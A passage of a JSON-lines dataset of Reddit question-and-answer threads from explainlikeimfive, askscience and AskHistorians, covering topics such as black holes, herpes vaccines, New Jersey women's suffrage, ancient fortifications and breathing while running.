drug problem and the crime that goes with it, but it seems unfair that a homeless drug addict can be given a free home when others have to work hard for that. However this is cheaper for society as a whole.", "A big portion is untreated mental health issues. Then they self medicate. Mental health still untreated. Drugs then take over there lives and they lose everything and they end up homeless. Very few if any of the homeless people began drugs after becoming homeless.", "Homeless doesn't mean they don't have a job or income.  Source: myself after a friend screwed me over when I was younger", "I used to work for a clinic that specialized in holistic treatment for women with addiction.  In over 90% of the cases (I can't remember the exact stat, so don't want to quote it but it's in the 90s) women were using drugs to numb the pain of past sexual, physical, or other abusive trauma. \n\nMost of them had jobs and money and families before the addiction got so bad that they lost it all. They kept using, even when broke... getting any amount of money any way they could to feed their illness... because, by that point,  it was a necessity on their own addicted Maslow's hierarchy of need.", "Look up the experiment \"rat park\"- they did a study on drug addiction relative to social environments. Long story short, rats in solitary confinement actively chose drugged water over clean, and rats who were allowed to be social with each other actively chose clean water over drugged."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "4lcsff", "title": "why can't we just throw satellites or sensors into a black hole to see what happens?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lcsff/eli5_why_cant_we_just_throw_satellites_or_sensors/", "answers": {"a_id": ["d3m8pw0", "d3m8snt", "d3m8sso", "d3m8sug", "d3m8yhf", "d3m911w", "d3m946i"], "score": [6, 3, 56, 5, 6, 3, 2], "text": ["The nearest black holes to us that we've observed are several thousand light years away.\n\nSo far, the farthest object that we've sent from Earth has traveled a few thousandths of a single light year.\n\nSo we have a ways to go still until anything that we send could ever hit a black hole.", "Well, first we'd need a black hole close enough that we could get a craft to it, which we certainly don't have.\n\nBut even then, how is your sensor going to send you a message? Once it's crossed the event horizon *nothing can get out* - not even its radio signal.", "The nearest black hole is 1600 light years away, for a start.\n\nEven if we have a black hole at easy reach (and it somehow wasn't destroying us all) the definition of a black hole is that it is so massive that its escape velocity is faster than the speed of light. Information can't move faster than light, so if we sent a satellite into a black hole it and all of its data would be lost as soon as it crossed the event horizon.", "1. Black holes are called that because nothing escapes their gravity - not even light. Even if you managed to throw a sensor inside, you wouldn't get any information from it.\n\n2. Black holes are really, really far away, just like the rest of the stars in the sky. We've only managed to get a couple of probe outside of the solar system (the Voyager spacecrafts), which is a fraction of the distance.", "The closest black hole to our galaxy is 1600 light years away. We could potentially throw sensors and satellites in it to see what happens, but check it out, like this.  \n  \n\nThe heliocentric speed of Voyager 1 is 17.05 kilometers per second. A light year is 9461000000000 kilometers. That means it would take the Voyager 1 887835777126099.7067448680352 seconds to reach the black hole.  \n\n  \nThat's 9248289345.0635386119257087 minutes.  \n  \nThat's 154138155.7510589768654284783 hours.  \n  \nThat's 6422423.1562941240360595199292 days.  \n  \nThat's 17595.6798802578740713959450115 years.  \n  \n\nRepeat that number 1600 times and that's how long it would take the fastest current traveling satelite to reach the closest blackhole to our solar system.  \n  \n\nSo, like I said, we totally COULD, it'll just take us a really long time.  \n\nIf you need to know how long it would take in years, the whole journey would take twenty eight million, one hundred and fifty three thousand and eighty seven years to complete.", "Well, first of all, there are no black holes we know of near enough to shoot a probe into. Good thing, too: a black hole that close to us would probably fry us with X-ray and gamma radiation.\n\nConsider this: the only probe we have launched that is now in interstellar space is Voyager 1, which was launched in 1977 and officially left our solar system in 2013. At its current speed, it will take about 40,000 years to get anywhere near to another star. Space is vastly big, and most of it is completely empty.\n\nBesides, we know what would happen if we sent a probe into a black hole: it would be destroyed. Even if it survived all the radiation, as it got closer to the black hole, the signals would get distorted. But never mind that: pretty soon, the gravitational forces would tear the probe apart into shreds, then dust, then molecules.", "It hasn't been attempted yet. Based on what we know about black holes it probably never will be. Here's why.\n\nFirst off the nearest black holes are light years away, and with current technology it would take many thousands of years to get there.\n\nThe second reason is gravity. A black hole is a region of space whose gravity is so powerful, not even light can escape. Any signal that a satelite or probe can send can't travel faster than light. So even if we were near enough to a black hole to try this out in the near future, we wouldn't receive any signal or information about what it's like inside.\n\nNow if black holes act like wormholes, then all bets are off, but no one knows for sure if wormholes are even possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "e69l81", "title": "Why is there a shingles vaccine but not a herpes vaccine?", "selftext": "And if a herpes vaccine came out, could it help people already infected?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/e69l81/why_is_there_a_shingles_vaccine_but_not_a_herpes/", "answers": {"a_id": ["f9or4m4", "f9otikm"], "score": [9, 39], "text": ["vaccines, as you know, work by instigating a person's immune system to produce antibodies against a pathogen\n\nbut! herpes has weird and complicated interactions with the human immune system, and it 'hides' in nerve cell and no amount of a person's antibodies will get rid of it completely -- this is why it has no vaccine, AND why it never completely goes away\n\nyou mentioned shingles; VSV and HSV are similar but herpes is a bigger and more complicated virus: [_URL_0_](_URL_0_)", "Herpesviruses in general are large, extremely complex viruses that are ancient (the family is hundreds of millions of years old) and that have evolved with their host species for tens or hundreds of millions of years. Their life cycle means that they are naturally adapted to evading and overcoming immunity, since they\u2019re mostly capable of establishing lifelong infections that recur over many years or decades. \n\nAll these things mean that herpesviruses are very, very hard to vaccinate against. Even in the veterinary world, where there are a number of herpesvirus vaccines (feline viral rhinotracheitis, Marek's Disease) those vaccines are not very effective -- they often reduce or prevent symptoms *while still allowing transmission*, which is not great; and in the case of Marek's disease, it's been argued that the vaccine actually has driven the virus to [become more virulent](_URL_2_) for that reason. \n\nShingles/chicken pox is the only really successful vaccine for a herpesvirus that I can think of, and that one was as much luck as planning.\n\nThere's extensive work on many different vaccines for herpes simplex, including at least a [dozen that have gone into clinical trials](_URL_0_), but research has been going on for decades and at this point I think there's some discouragement -- all the easy approaches have been tried and the virus hasn't been fazed.  \n\nAs [George Klein](_URL_1_) said, \"The stupidest virus is smarter than the smartest virologist\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://herpesviridae.biomedcentral.com/articles/10.1186/2042-4280-3-5"], ["https://clinicaltrials.gov/ct2/results?cond=herpes+simplex+vaccine&amp;term=&amp;cntry=&amp;state=&amp;city=&amp;dist=", "https://norkinvirology.wordpress.com/2017/05/04/the-life-and-legacy-of-george-klein-cancer-virus-pioneer-and-witness-to-the-holocaust/", "https://journals.plos.org/plosbiology/article?id=10.1371/journal.pbio.1002198"]]}
{"q_id": "fo5yd", "title": "Autopsies", "selftext": "Medical scientists and doctors, what can be identified in an autopsy that cannot be found while a person is alive?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fo5yd/autopsies/", "answers": {"a_id": ["c1hdffl", "c1hdqoo", "c1hf51a"], "score": [2, 2, 2], "text": ["Apart from the cause of death?\r\n\r\nCan you be a little more specific? Are you asking about how autopsies are performed or what happens to the body as and/or just after a person dies?", "Autopsies are good for identifying illnesses where the process of identification is destructive.\n\nA good example is Alzheimer's disease -- there are lots of types of dementia, and you can't diagnose one definitively as Alzheimer's until you do an autopsy, because need to you look for beta amyloid plaques and neurofibrillary tangles in the brain. And, to find *those*, you need to put sliced up sections of brain under a microscope. For obvious reasons, this is something that you probably want to avoid doing in a living person.\n", "Basically the long and short of it is this: imaging studies are expensive and fundamentally limited.  Autopsies are invasive, but cheap and productive because you get to inspect the tissues.  Also, you can obtain pathologic specimens for analysis.\n\nSpectacular, spectacular essay by Atul Gawande about this in the book \"Complications\".  \n\n(SPOILER) He and another surgeon blow up at an intern from the medicine unit because they think he killed their patient trying to tinker with serum electrolyte levels.  They are wrong and the only way he finds out is by an autopsy.  Only after he sees the results of the autopsy, he can go back and kinda see what they all missed and why the patient died.  The cause of death was not something you'd ever expect a physician to miss. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "kd2mz", "title": "what is a split infinitive and why is it bad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kd2mz/elif_what_is_a_split_infinitive_and_why_is_it_bad/", "answers": {"a_id": ["c2jag1e", "c2jampt", "c2jaoe9", "c2jaoma", "c2jag1e", "c2jampt", "c2jaoe9", "c2jaoma"], "score": [37, 7, 12, 4, 37, 7, 12, 4], "text": ["If you study any language in high school (preferably foreign- grammar rules of English in the US has gone by the wayside), then you'll learn about the way we use verbs. If you notice, we often conjugate verbs, which means we tailor them to the context in which we are using them. I am, you are, he is, and others. These are all conjugations of the infinitive verb \"to be\". So you can think of an infinitive as like the \"pure\" form of a given verb conjugation.\n\nA split infinitive is when you place phrase inbetween the *marker* \"is\" and the *infinitive* \"be\". \n\nA famous example of a split infinitive is from Star Trek: \"To boldly go.\" Here, the infinitive verb is \"to go\", but it is interrupted by the adverb \"boldly\".\n\nAre split infinitives bad? A language purist will tell you that it is poor form, just like having a preposition is the wrong type of word to end a sentence *with*. In reality, nobody cares. ", "According to the Chicago Manual of Style (and most other grammar standards), it's not bad.\n\n >  **5.106 Split infinitive**\n\n >  Although from about 1850 to 1925 many grammarians stated otherwise, it is now widely acknowledged that adverbs sometimes justifiably separate an infinitive\u2019s to from its principal verb {they expect to more than double their income next year}.", "It is classical snobbery. In Latin the verb has the personal pronoun built into it. The ending of the verb dictates who owns it e.g. amo, amas, amat = I love, you love, he/she loves.\n\nAs this does not happen in English, some purists believe you should not split the English verbs either.  It is a rather dated opinion now.", "\"When I split an infinitive, goddamn it, I split it so it stays split,\" -- Raymond Chandler", "If you study any language in high school (preferably foreign- grammar rules of English in the US has gone by the wayside), then you'll learn about the way we use verbs. If you notice, we often conjugate verbs, which means we tailor them to the context in which we are using them. I am, you are, he is, and others. These are all conjugations of the infinitive verb \"to be\". So you can think of an infinitive as like the \"pure\" form of a given verb conjugation.\n\nA split infinitive is when you place phrase inbetween the *marker* \"is\" and the *infinitive* \"be\". \n\nA famous example of a split infinitive is from Star Trek: \"To boldly go.\" Here, the infinitive verb is \"to go\", but it is interrupted by the adverb \"boldly\".\n\nAre split infinitives bad? A language purist will tell you that it is poor form, just like having a preposition is the wrong type of word to end a sentence *with*. In reality, nobody cares. ", "According to the Chicago Manual of Style (and most other grammar standards), it's not bad.\n\n >  **5.106 Split infinitive**\n\n >  Although from about 1850 to 1925 many grammarians stated otherwise, it is now widely acknowledged that adverbs sometimes justifiably separate an infinitive\u2019s to from its principal verb {they expect to more than double their income next year}.", "It is classical snobbery. In Latin the verb has the personal pronoun built into it. The ending of the verb dictates who owns it e.g. amo, amas, amat = I love, you love, he/she loves.\n\nAs this does not happen in English, some purists believe you should not split the English verbs either.  It is a rather dated opinion now.", "\"When I split an infinitive, goddamn it, I split it so it stays split,\" -- Raymond Chandler"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "j7ihf", "title": "li5, how do train switches work and who controls them?", "selftext": "I get that there are switches that are controlled somehow, but who actually has control? The train operators themselves? Is this really difficult to coordinate if there are lots of trains going to different places that are using the same tracks? Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j7ihf/li5_how_do_train_switches_work_and_who_controls/", "answers": {"a_id": ["c29t1p2", "c29t1p2"], "score": [5, 5], "text": ["There are two kinds of switches; power operated and hand operated.  Power operated switches are controlled from a dispatcher who looks at a computer screen and can see where the trains are. Power operated switches are mostly used on the main lines because of the higher speeds that trains can go.  \n\nHand operated switches are usually used in the yards while building the trains.  Both switches have the same mechanical operation, which has been unchanged for the most part since trains have been in operation.   \n\n\nThe dispatcher knows where the trains are because the racks are a long \"circut.\" We have section of track called \"blocks\" which are usually governed by signals. If a train is in one block, then it completes the circut and let's the dispatcher know there is a train there. It also changes the signals for the blocks infront of and behind it.  \n\nThat's about as good as I can do for now, I need to get to work (on a train). If you want to know more, or want a better explanation, then let me know and ill do a better job when I get back tonight.", "There are two kinds of switches; power operated and hand operated.  Power operated switches are controlled from a dispatcher who looks at a computer screen and can see where the trains are. Power operated switches are mostly used on the main lines because of the higher speeds that trains can go.  \n\nHand operated switches are usually used in the yards while building the trains.  Both switches have the same mechanical operation, which has been unchanged for the most part since trains have been in operation.   \n\n\nThe dispatcher knows where the trains are because the racks are a long \"circut.\" We have section of track called \"blocks\" which are usually governed by signals. If a train is in one block, then it completes the circut and let's the dispatcher know there is a train there. It also changes the signals for the blocks infront of and behind it.  \n\nThat's about as good as I can do for now, I need to get to work (on a train). If you want to know more, or want a better explanation, then let me know and ill do a better job when I get back tonight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cff64r", "title": "where do commercial, patented seeds come from?", "selftext": "Ok so I was just thinking: I've heard that most commercial seeds are patented products genetically modified to only yield one crop, forcing the farmers to buy them again next season. My question is, where do those seeds for sale come from? Are they genetically designed to grow a plant, develop seeds (for sale), then those seeds grow a plant, and then the seeds from that plant are not viable? Please explain like I'm five", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cff64r/eli5_where_do_commercial_patented_seeds_come_from/", "answers": {"a_id": ["eu9hx0v", "eua625q"], "score": [3, 2], "text": [" >   I've heard that most commercial seeds are patented products genetically modified to only yield one crop, forcing the farmers to buy them again next season.\n\nThat's not really true. So-called \"terminator genes\" do exist that can be used to make seeds only good for one generation, but they aren't commonly used in agricultural seeds. \n\nWhen farmers plant GMO seeds they generally aren't interested in gathering the seed for re-planting. It's a fair amount of extra work and expense to get the seeds, and the second generation won't have the same genetics as the first generation. And when you're buying GMO seed, it's all about the genetics.", "When trying to sprout seeds from commercial produce from the store , its common to mistake termination gmos for seeds that simply aren\u2019t mature enough to sprout as well"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8adk5y", "title": "New Jersey granted women and racial minorities the right to vote in it's 1776 constitution. The state took away this rights in 1807. How and why did this occur?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8adk5y/new_jersey_granted_women_and_racial_minorities/", "answers": {"a_id": ["dwyast8"], "score": [1365], "text": ["\"Remember, all men would be tyrants if they could,\" wrote Abigail Adams in 1776. Thirty-five years later, she might well have added \"and they're not shy about trying.\" Scholars today generally agree that the (recognized then as) unconstitutional theft of voting rights in 1807 was essentially a strategy in white male-led political parties' jockeying for power over the state. However, the specific assumptions and ideologies that made the strategy attractive and effective depended on racism, sexism, nationalism, classism, and good old-fashioned fear.\n\nJan Lewis suggests that the voting rights of New Jersey's black women, white women, black men, and foreign-born residents were initially recognized simply out of revolutionary Americans' commitment to the underly egalitarianism of republican ideals. Irwin Gertzog is more pragmatic, arguing that the added specificity of \"he or she\", first restricted to half the state (1790) and eventually extended to the whole (1797), was already a calculated power ploy. \n\nEither way, by 1798 it's clear that the major political parties in the state, the Federalists and the Republicans, recognized especially the voting power of women. Despite the implicit and explicit restrictions on which women could vote--enslaved black women could not; free black and white women who were married could not (because under the law of coverture, they could not own property independently)--contemporary observers were daunted by the scale of potential women voters. A 1791 newspaper article was titled \"The Humble Address of Ten Thousand Federal Maids\"; in 1799, William Griffith similarly estimated, \"of widows and spinsters above\ntwenty one, there can not, I imagine be fewer than 10,000.\" In a state where elections could be decided by hundreds or even tens of votes, 10,000 was a daunting number.\n\nFurthermore, an idea was developing that we might consider a precursor to identity politics: the belief that groups like \"women\" and \"black men\" were homogenous blocs of voting interest. (But of course white men can have their own opinions.) On one hand, this meant that each party worked *furiously* to court The Woman Voter in hotly contested elections like the Essex County legislator race of 1797 (in which this all-powerful voting bloc amounted *seventy-five* women; I have not seen statistics on their race). On the other, it meant that both parties deeply feared the potential for women, black men, and immigrants to vote for the bad guys. \n\nAnd naturally, *both* parties developed a conviction that women, especially, would turn out for the other. Naturally, too, these parallel developments were both motivated by classism. Federalists worried that it was easier to get women to vote in (Republican-stronghold) towns than in (Federalist-stronghold) cities; Republicans worried that the women more likely to vote were the wealthier, conservative Federalists. They also seem to have simply assumed that black men and women were Federalists, period.\n\nOr at least, the party leadership--that is, the men actively seeking to acquire and maintain power--did. A ballot initiative to strip the vote from everyone with at least 50 pounds of property and implement a white male taxpayer-based system failed *miserably* with the general population. There was a definite rift developing between the regular electorate and the power-holders, who had nervously watched the French Revolution tear down waves of political leaders and feared a similar outcome if more widespread participation in American politics.\n\nThe years between the 1800 election that so focused on winning women voters and 1806-07, when efforts to restrict suffrage kicked back up, witnessed several important developments. First, The Black Voter played the role of the desperately wooed in the 1804 election that The Woman Voter had in 1800, coupled with New Jersey's passage of a gradual emancipation law. \n\nSecond, newspapers were filled with two-sided worry. Women voters were more likely to commit election fraud (generally accusations that enslaved women or free married women were sneaking in a vote); women were neglecting their proper duties to get involved in politics and society was falling apart; the initial constitutional recognition of women's voting wrights was wrong. BUT it was just that: a constitutional right, so they couldn't be deprived of it without a new constitution, and that wasn't happening. \n\nJudith Klinghoffer and Lois Elkis have argued that sexist ideology (they are not really concerned with race, unfortunately) had little to no role to play in these developments; the evidence does not seem to back that up. As with the editorials arguing that the 1776 constitution and 1790/97 amendments were wrong in extending voting rights to women, gender is not silent. But it's not the *driving* or causal factor. Rather, we can see how sexist and racist ideology played into the lust for political power and control, or rather, became the field on which it played out. The assumption that all women and all black people voted the same; the belief that losses were due to election fraud and of course it was women and black people committing the fraud.\n\n(For the record: Gertzhog says it was actually mostly men, and there is evidence for this. A lot of the fraud involved keeping polls open days or weeks too long, or waiting until the ballots for an area dominated by the other party were counted and announced so they'd know how many to...scrounge up in order to win. In other words: tactics conceived and operated by party leadership, i.e. white men).\n\nBut while the initial recognition of voting rights and the first efforts at suppressing them had come from inter-party conflict, it was actually *intra*-party problems that ultimately killed suffrage for property-owning unmarried free black and white women and black men. Once again, the immediate cause was electoral politics and the relentless pursuit of power by white men; the means were racism and sexism.\n\nIn 1804, the Republican party split both geographically and ideologically into a \"moderate\" and \"liberal\" wing (with the Federalists occupying the other \"conservative\" pole). Among other things, the liberals actually wanted *universal* suffrage, not even connected to property ownership! But naturally, this rivalry played out as \"The Room Where It Happens.\" New Jersey needed a new courthouse, and the dominating Republicans were at war with themselves whether to put it in the liberal north or the moderate south.\n\nAnd a presidential election loomed.\n\nThe moderates offered a compromise: we'll let you put the courthouse in (Republican) Newark if you agree to restrict voting to white male citizen taxpayers. And this will restore party unity and *we won't support the Federalist candidate.* So in this case, we know exactly what the moderates said to the liberals to get them to sell black and white women's and black men's suffrage down the river: political power.\n\nThe liberal Republicans' acceptance of this bargain, thus, betrays their own racism and sexism. The desire to stay in power brought into conflict egalitarian republican ideals of equality and contemporary white patriarchy; white patriarchy won *in order for* their political power goals to succeed. Race and sex were not the cause, but were the tools.\n\nFurther Reading:\n\n*  Irwin Gertzog, \"Female Suffrage in New Jersey, 1790-1807,\" *Women  &  Politics* 10 (1990)\n* Judith Klinghoffer and Lois Elkis, \"'The Petticoat Electors': Women's Suffrage in New Jersey, 1776-1807,\" *Journal of the Early Republic* 12 (1992)\n* Robert Dinkin, *Before Equal Suffrage: Women in Partisan Politics from Colonial Times to 1920* (1995)\n* Jan Lewis, \"A Revolution for Whom? Women in the Era of the American Revolution,\" in *A Companion to American Women's History* (2005)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2usqmo", "title": "why do we read small text as quiet and large or bold text as being loud?", "selftext": "For instance this part of the sentence probably reads normally,^thenyougethere^andnow,here. Why? Do all languages do this? \n\nEDIT: I'm sorry, I'm in a hurry but I meant to say small text as being higher in pitch, large as being loud.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2usqmo/eli5_why_do_we_read_small_text_as_quiet_and_large/", "answers": {"a_id": ["cobb6vp"], "score": [2], "text": ["For the same reasons that whispers are described as a small voice, and shouts and loud voices are described as being big or large \u2014 \n\nWhispers carry only to a small space, whereas loud voices carry to a large space. \n\n##So this is spatially analogous to a loud voice.\n\n##**AND EVEN MORE SO THIS**\n\nBut^you^may^find^yourself^needing^to^strain^to^read^this^sentence^to^the^end."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1i7xeh", "title": "What were some of the greatest walls of the ancient world?", "selftext": "I'm very impressed at the spectacular scale and effectiveness of late Roman fortifications such as the Aurelian and Theodosian walls.  I was wondering how other ancient fortifications compared as well as if any medieval fortifications came close to the scale of the ancient walls.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1i7xeh/what_were_some_of_the_greatest_walls_of_the/", "answers": {"a_id": ["cb1ug64", "cb1v05h", "cb1vgv5", "cb1vizt", "cb1w8j1", "cb1xmyb", "cb1yzft", "cb21ks5", "cb2281d"], "score": [14, 7, 3, 8, 9, 3, 2, 4, 4], "text": ["Take a look at [Saksaywaman](_URL_0_), the Inka fortress/ritual complex on the north end of Cusco. When he designed Cusco, the Sapa Inka Pachakuti designed the city to look like a puma if looked at from a height. Saksaywaman is the \"head\" of the puma architectural geoglyph, and showcases a style of building that archaeologists call \"Cyclopean\" stonemasonry. Cyclopean building keeps the \"tight\" connections between stones, so well-fitted that after five hundred years the stones are still joined together so tight a piece of paper won't be slotted between them. However the stones are massive - twenty feet or more.\n\nI'm coming off of break so ill update or follow up with you in a few short hours if you have more questions! Ill try to think of other examples. ", "I've always been impressed by [the fortress of Rhodes during the last siege of the Hospitallers](_URL_0_). It's a fascinating example of extremely Late Medieval architecture, combining the traditional structure of a castle with added Early Modern fortification techniques like bastions and wide trenches. It held up impressively during the siege, though in the end the Hospitallers couldn't hold out.", "I would think that the criteria should include how long they lasted against attack. The best example I can think of in that vein would be Constantinople. Is there a better example?\n", "[Hattusa](_URL_3_), the capital of the Hittite Empire in the late Bronze Age, located in modern day Turkey has [walls](_URL_0_) and [fortifications](_URL_2_) that served to keep the city intact until civil war and the Bronze Age Collapse saw the end of both the city and the Empire ~1200 BC.  \n   \nThe [surviving foundations](_URL_4_) are still impressive today, built from a mixture of stone topped by mudbrick [some sections of the lower city walls have been reconstructed](_URL_1_) to convey the original appearance.  ", "The Athenian Long Walls to Piraeus should be up there too. In ancient Greece, sieges took a very long time. It was very difficult for an opposing army to lay siege on a city and successfully take it down. A strategy that many Poleis practiced was to essentially blockade the city and wait for it to run out of supplies. The Athenians, as the maritime superpower of the era, knew that they could not match the Spartans on a land war, and they knew they probably could not defend the city of Athens should the Spartans invade Attica. So the Athenians had these [Long Walls](_URL_0_) constructed which connected the city itself to the port, which was called *The Piraeus.* \n\nThe Athenian strategy completely relied on her navy to continuously resupply the city from her colonies in the \"bread basket\" of the Black Sea, while the Long Walls kept the Spartans at bay. \n\nIt actually was quite a brilliant strategy during the Peloponnesian War. Additional images:\n_URL_2_\n_URL_1_", "Check out Buhen and Semna and the other Egyptian Nile forts. Pre-Roman fortifications that rival any fortifications built in Europe or North Africa at any period.", "[Offa's dyke](_URL_0_) may not be very impressive in its current state, but it's an important testament to what could be achieved of public works, even in the darkest of Britain's Dark Ages.", "I think the fortifications of Constantinople deserve mention. The fortifications were built in the 5th century and lasted about 1,000 years. They used extremely large circular stone walls. In the harbor they had massive iron chains to keep out the large Ottoman fleet. With only about 10,000 men guarding Constantinople the iron chains and stone fortifications kept out an Ottoman army numbering over 100,000 for quite some time. Until the Ottomans figured out how to actually bring their ships on land and literally carry them past the chains in the harbor did the Fortress hold. By doing this the Ottomans were able to attack from behind the city, actually casting huge bronze cannons on the spot. It was much easier for them to carry raw materials and cast the cannons in place than to actually move massive cannons long distances. It was such a difficult task for the Ottoman Empire that they had controlled everything surrounding Constantinople in every direction for many miles before actually conquering the city itself.", "Tyre was a pretty tough nut to crack for anyone, and even Alexander took  seven months to break through (and in the process turn the city from an island into a peninsula).\n\nBefore Alexander it had an impressive record for resisting sieges, mainly due to its location on an island 800 metres of the coast and high walls that covered the whole island and went straight up to the water.\n\nShalmaneser V of Assyria besieged it for four years, and died before the city surrendered to his son, Sargon II. Ashurbanipal besieged it successfully, first for two years after which the city submitted, a second time after it rebelled. And Nebuchadnezzar besieged it for 13 years before coming to a compromise where Tyre would pay tribute (I recapped this section based on the The Cambridge Ancient History series which can be [searched on Google books](_URL_1_).\n\n[Arrian in his Anabasis of Alexander](_URL_0_) claims the walls were 45 metres high and equally thick, but that's pretty unlikely unless there was a cliff base on which the walls were build. But they would have been pretty impressive nevertheless. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Saksaywaman"], ["https://en.wikipedia.org/wiki/Siege_of_Rhodes_\\(1522\\)"], [], ["http://www.kusadasi.tv/wp-content/uploads/hattusa_hattusas-turkey.jpg", "http://www.hattuscha.de/English/citywall.htm", "http://www.greeceturkeytours.com/wp-content/uploads/2012/11/hattusa.jpg", "https://en.wikipedia.org/wiki/Hattusa", "http://www.hattuscha.de/havafot.jpg"], ["http://karenswhimsy.com/public-domain-images/ancient-athens/images/ancient-athens-2.jpg", "http://emp.byui.edu/SATTERFIELDB/Greek%20Cities/Piraeus%20Athens.jpg", "http://clubweb.interbaun.com/~mward/gmc/23a_athens_piraeus.jpg"], [], ["http://i.imgur.com/KoVciJ8.jpg"], [], ["http://archive.org/stream/arrianar01arriuoft#page/200/mode/2up", "http://books.google.ie/books?id=OGBGauNBK8kC&amp;q=tyre#v=snippet&amp;q=tyre&amp;f=false"]]}
{"q_id": "2cd9aj", "title": "Why was Diem assassinated?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2cd9aj/why_was_diem_assassinated/", "answers": {"a_id": ["cjeclms"], "score": [4], "text": ["There are many theories as to who ordered the assassination of Ngo Dinh Diem but the reason why is more explainable: his dictatorship of South Vietnam, persecution of buddhists, and outright corruption did him in.\n\nHis land reform program put the land in the hands of the privileged and rents skyrocketed. Buddhist officers were denied promotions and discriminated against for their religion (Diem was a Roman Catholic). US aid went into the pockets of his supporters instead of building a strong nation to compete with the Communist North in the upcoming elections.\n\nIt was obvious that Diem would not be a puppet to the US, elected by his people, or run a fair democratic state as had been hoped. Whether the Communists, his own government, or the US ordered the assassination is still up to debate. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "jety4", "title": "Describe homeostasis (briefly) from the viewpoint of your specific field", "selftext": "I am a PhD student taking a qualifying exam in about 6 weeks and the chair of my exam committee has told me that he thinks that talking about homeostasis would be a good exercise to see how well I can think on my feet. I just want to see some viewpoints on such a broad topic so I dont get too narrow minded on the subject.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jety4/describe_homeostasis_briefly_from_the_viewpoint/", "answers": {"a_id": ["c2bj15s", "c2bj91p", "c2bjjux", "c2bzicx", "c2bj15s", "c2bj91p", "c2bjjux", "c2bzicx"], "score": [2, 2, 2, 3, 2, 2, 2, 3], "text": ["With regards to human physiology, I think of it as \"the body's ability [and the processes it uses] to maintain its internal environment within narrow, functional limits, despite changes in both the external and internal environments.\"", "From chemistry:\n\nAn organism is a chemical reaction contained within a membrane. Every reaction seeks equilibrium, the point where the reaction progresses forward at the same rate that it regresses backwards (i.e. oxygen and hydrogen are combining into water at the same rate that the water is breaking into hydrogen and oxygen) so the net change is zero. Homeostasis is the taking in of reactants and removal of products so the reaction (life) can continue forward.", "Electrical Engineer: My Thermostat.", "In family therapy, homeostasis describes two related concepts:\n\na) The typical functioning of the family unit in a way that could be called the \"status quo\". Families become accustomed to particular interactional patterns and resist changes in those patterns.\n\nb) Any collective interactional pattern that is sustainable: e.g. A family member dies and the family unit is thrown into disequilibrium. They eventually settle on another set of interactional patterns, sans the late member, which are different from the original state but are none the less sustainable. ", "With regards to human physiology, I think of it as \"the body's ability [and the processes it uses] to maintain its internal environment within narrow, functional limits, despite changes in both the external and internal environments.\"", "From chemistry:\n\nAn organism is a chemical reaction contained within a membrane. Every reaction seeks equilibrium, the point where the reaction progresses forward at the same rate that it regresses backwards (i.e. oxygen and hydrogen are combining into water at the same rate that the water is breaking into hydrogen and oxygen) so the net change is zero. Homeostasis is the taking in of reactants and removal of products so the reaction (life) can continue forward.", "Electrical Engineer: My Thermostat.", "In family therapy, homeostasis describes two related concepts:\n\na) The typical functioning of the family unit in a way that could be called the \"status quo\". Families become accustomed to particular interactional patterns and resist changes in those patterns.\n\nb) Any collective interactional pattern that is sustainable: e.g. A family member dies and the family unit is thrown into disequilibrium. They eventually settle on another set of interactional patterns, sans the late member, which are different from the original state but are none the less sustainable. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "10cyl2", "title": "What is the most efficient way to breath while running?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10cyl2/what_is_the_most_efficient_way_to_breath_while/", "answers": {"a_id": ["c6cmylm", "c6cs30q"], "score": [2, 2], "text": ["If you breathe in through your mouth you get more air in, but if you breathe in through your nose, the conchae/sinuses etc warm and humidify the air, conditioning it for your lungs. Breathing out doesn't require the same, as it remains conditioned until it leaves your body.\n\nBreathing in through your nose will delay that lung burning feeling, so you should breathe in through the nose and out through the mouth for as long as possible.\n\nEDIT: I'm not a runner, so I only have a narrow perspective.", "I ran track through college (sprinter). I generally found that your body is going to tell you what it needs, and you are going to breathe correctly no matter what. One thing you probably already do naturally is breath in rhythm with your stride, and I feel that is important. \nThat being said the other two comments are correct. Biologically speaking, aim to breathe through your nose as much as possible. Once your aerobic threshold is reached/passed, you will start breathing through your mouth pretty fast.\nAs an aside, if you feel like you are not getting enough air, or are using your accessory muscles to breathe harder (chest muscles, not just your diaphragm), you may want to try taking a few quick breaths through pursed lips (like you are blowing out candles). The positive pressure in your lungs can help expand/inflate them a little more, so you can get that little extra bit of air in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
